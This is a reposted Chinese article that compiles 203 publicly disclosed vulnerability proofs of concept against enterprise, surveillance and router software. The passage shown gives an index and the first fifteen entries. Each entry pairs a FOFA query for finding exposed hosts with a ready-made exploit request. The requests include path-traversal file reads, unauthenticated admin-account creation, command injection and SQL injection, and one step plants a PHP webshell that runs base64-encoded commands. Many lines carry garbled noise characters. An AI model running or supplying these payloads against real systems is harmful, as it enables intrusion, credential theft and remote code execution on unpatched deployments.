互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
  L# @& v5 e* l, Z以下文章来源于网络安全新视界 ，作者网络安全新视界
9 e/ D8 }3 C- H( y: q
2 W! E' I$ F9 M5 M8 c发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
( E$ Z. Z4 G% f! A2 F" ^
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
! u. E9 _  S, g2 z6 D; t; ?, C
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

) A1 v/ N! C) N) i. \! {$ A
声明
: T/ `& R+ r. W  o5 N# x" s- N
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
9 m, g/ w' |0 i/ y3 a4 q0 T
  z6 @: y2 J' y* t( ~有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
) M& `" y* d( d6 z' W# g2 P! D
# R3 A9 D6 V. R% b) w. G

目录
) g' s" {4 r+ @
% a! t- B2 i  }* ~/ r+ B01
! f- n5 `/ ^. I2 p( u, h0 d
1. StarRocks MPP数据库未授权访问
9 k( e( l) u, M% y/ e2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
8 U8 P$ b- C) C$ a8 N7 L5 V3 s5. NUUO NVR 视频存储管理设备远程命令执行
% R  c1 {( k7 U& m! F6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
4 a( H& M& _) L4 Z' R8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
; y5 \% Z9 K/ }& w  U% q10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
! T+ x4 F( o% l11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
* j0 u- B% S7 N' D; p. t14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
8 n3 [5 u) \  v" `3 s16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
( F/ H) u  B! d/ B20. 大华ICC智能物联综合管理平台任意文件读取
0 I9 W3 K2 @) t# @5 {. f21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
, t: p: o' p# t24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
1 b. L6 D3 k% E  B26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
$ d, n4 }; ?" f9 O; v4 a/ a28. 用友NC grouptemplet 任意文件上传
* B3 \) k8 p1 ?( w5 u29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
: U- n8 F8 A; k36. 用友NC-Cloud soapFormat XXE
' S& [  e4 q5 f) C37. 用友NC-Cloud IUpdateService XXE
% u8 R; Q1 u* E" b( q3 k38. 用友U8 Cloud smartweb2.RPC.d XXE
; A" a) _( C+ ?1 a. R& D) f39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
) w6 H; ~: n6 K# n3 k41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
# b- s" M) \  G9 [, a44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
  j+ [+ X6 d. T5 k8 x1 U* w46. 用友GRP-U8 sqcxIndex.jsp SQL注入
) j, {8 e! n4 c- {7 \' l; s47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
, N- S2 @. Y1 I" v  p54. 畅捷通T+ getstorewarehousebystore 远程代码执行
3 b$ ?0 ]3 P) ~55. 畅捷通T+ getdecallusers信息泄露
; t! L  u. x3 E; [* n56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
4 X$ [6 O$ X1 E% L59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
9 V6 r1 c$ G% b% ?8 {- N) a61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
% |5 d* R5 e0 Y3 L63. IP-guard WebServer任意文件读取
& H" ~, g# V7 \( z8 @. }64. 捷诚管理信息系统CWSFinanceCommon SQL注入
8 t0 I6 V- g$ [' Y. Q65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
( l' n$ w' E- }' ?' f, h66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
+ z9 q0 N- n0 r( r  D1 l+ P68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
1 @0 V& F8 K0 g$ t: N4 d" Q70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
) U" e# s6 N, ^* z3 K72. 致远OA getAjaxDataServlet XXE
" v( b% {8 z6 I73. GeoServer wms远程代码执行
5 [+ a! b9 L' w74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
0 y6 I* D2 c' z' P; M, g76. 新开普掌上校园服务管理平台service.action远程命令执行
& e& p4 X9 h( Z; {! ]- e4 Q77. F22服装管理软件系统UploadHandler.ashx任意文件上传
! R1 l( K( ]0 V! z6 i78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
& _$ ]% M1 t5 m) h& u8 P' D& O83. JeecgBoot testConnection 远程命令执行
1 u- W: i2 O5 i  [84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
5 `# `. T& }5 r  K4 j6 S85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
; s; t  e1 f  I90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
1 P6 T% H7 v' U, |9 l1 a95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
! @5 d. n3 |4 d98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
2 J2 Y2 ]8 w$ F0 X9 }( X4 y" q101. ivanti policy secure-22.6命令注入
* k" |3 p! B# v102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
0 e8 w( u% ^9 V% A103. Ivanti Pulse Connect Secure VPN XXE
( u9 Z5 C- }+ {: u% Z. W104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
8 _- k; \' E3 G8 c+ L106. SpringBlade dict-biz/list SQL 注入
6 A7 B; N# \" z107. SpringBlade tenant/list SQL 注入
' E  @( x4 |' p7 L! J108. D-Tale 3.9.0 SSRF
' E+ k$ y0 s% v5 {109. Jenkins CLI 任意文件读取
  |  E3 u" q9 i110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
, m  X2 `" k+ U1 U% Q) G/ B2 p112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
$ R( d4 ^( L6 m- i) m) B115. WordPress Bricks Builder <= 1.9.6 RCE
: A; S5 A  x2 V: w3 P. w116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
* p  n5 G1 j0 _% V3 ?121. 北京百绰智能S42管理平台userattestation.php任意文件上传
; c; h1 |( W7 v$ {6 D3 ~' ]" v122. 北京百绰智能s200管理平台/importexport.php sql注入
3 a( M/ K! l# w. E: z123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
1 @8 t! k6 b( u0 `$ `3 p& K126. Aiohttp 路径遍历
& x5 T; G" \- Q% V127. 广联达Linkworks DataExchange.ashx XXE
( \( l# O# ^$ e1 T* a128. Adobe ColdFusion 反序列化
) R+ W0 x1 m+ j4 Z4 M! D( ]5 T4 G129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
$ C$ }' _( `% F135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
- B9 t# h+ V2 _$ N- a2 s4 F136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
6 ~" _* J' L/ V6 G2 t/ m2 K138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
/ k) Z/ T* O9 K$ q139. 福建科立讯通信指挥调度平台editemedia.php sql注入
. i/ y1 l  P+ u2 ~8 `1 W7 [. Z: k140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
( x5 \, ^9 r& m0 m* R/ }! ]: Z143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
  A2 ]1 A/ [8 |0 D/ y4 n145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
2 N/ F: T6 ^' v$ U) [8 y# C2 Q146. MajorDoMo thumb.php 未授权远程代码执行
6 Z) v  k: L( Q( H+ |147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
7 w/ D8 ~+ V2 o' @149. AJ-Report开源数据大屏存在远程命令执行
9 T# h' q) h; a+ ?150. AJ-Report 1.4.0 认证绕过与远程代码执行
2 Q6 N0 l* r( c* G4 K! {; a% Y151. AJ-Report 1.4.1 pageList sql注入
# k0 N1 s! ^3 G- J; ]152. Progress Kemp LoadMaster 远程命令执行
! N( j; D( X$ q% z: n& O0 T153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
. J: ]# I; ~5 B! I155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
7 `8 ~0 v* X3 R1 a- \# i157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
2 \) {+ P2 ^2 O$ {( l' `162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
1 V  j' Z5 ?: G! G+ C, p8 l164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
; {; f: C  `/ u% z4 y9 `166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
7 D; t% E+ w9 o8 Q168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
# R  K9 H; x% |, T; y; ~$ A2 e170. 宏景EHR DisplayExcelCustomReport 任意文件读取
: N& \" q0 F$ N171. 通天星CMSV6车载定位监控平台 SQL注入
. W- m+ S0 R  K6 I/ U) B# r0 F& b0 _172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
+ V; o# s5 }) c3 S1 S* m/ s- t174. 金和OA C6 FileDownLoad.aspx 任意文件读取
* _" _% y. x3 r% t2 }6 y; `175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
, g$ i* K; Z: o' O178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
# \" `/ Z& C& }2 Y9 B) A  p+ }3 z6 n180. 帮管客 CRM jiliyu SQL注入
( F! f% C% ]5 P$ g4 g7 I181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
/ {3 m( P6 U5 q+ F6 K1 m& x# K* [182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
1 F3 |( L: o- j$ [183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
: P7 F6 i( g, r: I+ \185. 瑞友天翼应用虚拟化系统SQL注入
4 g4 T& \- l: \7 O1 E- z186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
8 a) }% @4 G2 S/ @- O188. 叁体-佳会视频会议 attachment 任意文件读取
( i/ P; W% T5 l0 L4 Q3 l189. 蓝网科技临床浏览系统 deleteStudy SQL注入
+ a2 R1 A) Y$ F190. 短视频矩阵营销系统 poihuoqu 任意文件读取
3 D' s  s3 V* T" {- L, ~) c4 g6 ~191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
  U0 X, ^  j: {7 }8 @- X192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
# ~+ {* M0 o/ E2 a( `% O& z1 J194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
( `6 s* L1 ?8 C  J3 s196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
# U4 s3 d& h$ K, K199. cockpit系统assetsmanager_upload接口 文件上传
9 p/ I6 X! P  [, C) e) G7 D) Q4 s200. SeaCMS海洋影视管理系统dmku SQL注入
9 l6 q" X6 t  [5 p3 F8 Q( g201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

# _4 a& t% E7 [* Z9 M2 o; MPOC列表
) D: F6 X8 \0 v/ H6 x# D  v% t
0 w1 ~. t3 r* }. j, k, E02

# q1 v5 }3 E, m7 ?1. StarRocks MPP数据库未授权访问
# \5 E3 j" f6 d0 }% w. k; EFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
Host: URL

. G: Q; J4 B& y( s, ~+ }: R
( `! D" O+ S& i8 u  ^; |2. Casdoor系统static任意文件读取
3 t1 [( y/ I( l: s4 G0 tFOFA ：title="Casdoor"
. }9 k6 u4 `: _8 BGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
/ O6 e, v0 t/ lHost: xx.xx.xx.xx:9999
; m* O  |6 r. Z4 U1 C: Z) X% h1 \User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
) g  L4 w  O% }) v4 U
/ f: ]! H7 r! @8 X
3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
5 _; _8 X8 H. ?7 F, hGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
8 l; l9 c) R! B2 \7 [! u0 @- j( `Host: xx.xx.xx.xx
( c# L8 o2 X5 t7 x9 l0 t
* J% N# i" t# z, D0 ^
4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
6 a$ ]# ~6 W2 M" W! Y8 @5 `
/ ]( u6 d% A& y! @( spassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
4 F2 U! B7 B* U: g/ jHost: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

' C) [! y. k  c( q& c
5. NUUO NVR 视频存储管理设备远程命令执行
7 b6 f: K) t! j" v) f4 ?% RFOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
8 T" o/ S8 h- l1 L( S1 lHost: xx.xx.xx.xx


6. 深信服 NGAF 任意文件读取
3 I' R' Q# s( k7 PFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
9 {: w! }2 I/ b( xHost:
  X( Y1 L; c9 y1 _/ z

" z, U7 _" Z$ E9 ~! I8 v8 s7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
' ]! J; M* c  g% ~GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:

1 E$ [5 N9 d. |
! ]/ Z; L0 D3 p. t) |: D8 R# q. {8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
/ o  S+ z( w+ a) SHost: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
( g9 v8 @( Y, K2 Y/ I- Y: Y) z
. K1 u4 }$ W& N4 g% A1 i------WebKitFormBoundaryxbgjoytz
- p' y9 W( p2 T5 A7 c$ \8 `2 RContent-Disposition: form-data; name="wifiRebootEnablestatus"
2 J7 n. _6 l% @3 @
%s
. u; ]2 s' e& L------WebKitFormBoundaryxbgjoytz
5 g" y7 `( N. `Content-Disposition: form-data; name="wifiRebootrange"

8 h3 Q& `8 N+ {. \& w5 k& D12:00; id;
------WebKitFormBoundaryxbgjoytz
, B4 n8 b- r- N' rContent-Disposition: form-data; name="wifiRebootendrange"

%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
1 x" V' d, S0 y; m$ q: h# T0 [

------WebKitFormBoundaryxbgjoytz--
) z8 N1 k4 X5 \6 A) t2 T, f, M

9. 稻壳CMS keyword 未授权SQL注入
' x6 C; U/ k5 `! b: Y$ c$ vFOFA：app="Doccms"
: ?, P: V1 u, o% CGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
' E3 g. i& j/ X$ o3 X4 O/ x+ P

  G7 M5 p+ s( qpayload为下列语句的二次Url编码

( {5 ]% J  Z/ \+ x1 A. v# a, |' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
! D" e* p3 D0 E/ H- g( D$ v
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
% R" S+ q% b& ~( `FOFA：icon_hash="953405444"
2 d; ^  K; U2 y" e. M' }
! ^0 f; s: S. }* ~8 O' G$ n4 B文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
7 C- P' U$ a7 @0 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
. g6 b. }$ M+ LContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! ~  W* b8 A+ B. f) P: M# PConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
$ T. V! q* X: M5 tContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
4 {1 X, U* Y, ]4 Y. I
jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--


; U2 j' Z; f* {4 C2 s9 A11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
' X. Y1 W, B9 ^7 s9 o1 SFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
2 F: Y% v' ^0 W9 T) qHost: 127.0.0.1
7 `5 t5 P+ E( t) CPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
1 n& t: v! r3 {2 E! s1 E& NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
% g+ {1 y: P3 g9 v0 VAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
3 y) t! O2 M6 i$ d- @/ K' {Connection: close


: c2 }: ^6 r8 ?; _12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
$ P$ ^: J6 b2 q  C" }7 r2 LHost: 192.168.190.30
7 F6 b- Y. b. PUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
5 d! Y0 ~$ u' RConnection: close
" Y% ?$ ^; {0 \+ b# E$ \Accept-Encoding: gzip
; w7 n' a" {, W
  D- O# K! [9 K9 ?3 o5 H
, j0 \" H3 O4 L9 y响应中csrf_cookie_jorani用于后续请求
# k! a; Y- t9 Z9 B8 n# f$ D9 ^HTTP/1.1 200 OK
6 B' L% U/ F5 uConnection: close
) U- N' O: r/ z: |4 c% ]. u  q) c3 qCache-Control: no-store, no-cache, must-revalidate
3 p2 c  j0 E: l. G' v' DContent-Type: text/html; charset=UTF-8
0 [' k6 R$ @9 N5 z. u+ l0 n- v$ v1 IDate: Tue, 24 Oct 2023 09:34:28 GMT
' D1 e! i! b) G7 jExpires: Thu, 19 Nov 1981 08:52:00 GMT
' {7 V( l# S5 i8 A" pLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
0 g# e# q3 y# u6 A  n1 OServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
$ u. M. ^, b( D( e9 jSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding


( ?) K' i2 Q# m: SPOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
) e3 \/ x5 @' e. Z5 SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
- J& Y. q# S, g' W; g& DConnection: close
* W1 n5 _) q. ^Content-Length: 252
1 H, k, y4 M# d# Z/ ?6 NContent-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
* h% S9 R( E, e1 `
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

$ K) N) W( i  M9 O2 L
9 Q& z5 q! X) b2 |; d
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
7 f: E+ X! B4 ]. oGET /pages/view/log-2023-10-24 HTTP/1.1
" x" l, L, W# r1 B* P6 LHost: 192.168.190.30
, t  \4 C/ i; M+ S8 @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
0 m9 W7 ^7 M* xConnection: close
% ]& C" F% d2 o5 [- g! y) U1 DCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
0 U8 `' o0 x" l9 C; i' R3 E) T) h6 \X-REQUESTED-WITH: XMLHttpRequest
/ [( d0 t% q( L6 t9 Y2 f/ k9 h8 s' wAccept-Encoding: gzip
, _" Y: U0 L7 Z
5 B+ t/ f7 A3 c2 E& N
& c" _' O  d4 O$ |+ L+ i13. 红帆iOffice ioFileDown任意文件读取
$ D# e) x( r3 RFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
1 t7 ^( J/ O8 n( pUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
8 n2 X- D/ g4 E. u- x: ]1 ]Accept: */*
Accept-Encoding: gzip
8 M  D  ?! R+ A! R5 n5 u7 b& w
2 F" d" V7 f0 x
0 l' }8 P7 h( u# ^( g! J4 y14. 华夏ERP（jshERP）敏感信息泄露
- c/ I; z+ }$ Y/ a1 R1 [% f! c. ^FOFA：body="jshERP-boot"
泄露内容包括用户名密码
; L. M+ G7 P+ H* gGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
' O5 {+ f* p& l% S  pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
$ k- l3 Z; p  L4 h5 q! }. FConnection: close
; A3 f5 h% P; {: q; }Accept: */*
Accept-Language: en
9 ]+ P+ B' g! G4 B% t4 a" L5 hAccept-Encoding: gzip
, b  y4 a% c3 F

15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
- ~7 V5 x% [3 V5 H6 D# P- D$ D+ _6 @泄露内容包括用户名密码
5 m# `& z6 |( b* r, lGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
+ S+ |( {3 n, d8 Z6 u* m& b4 v- [9 RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
' D* W3 C4 d* S8 t# s2 q* X1 RConnection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
, s- A5 N0 I* L8 j2 Dsec-ch-ua-platform: Windows
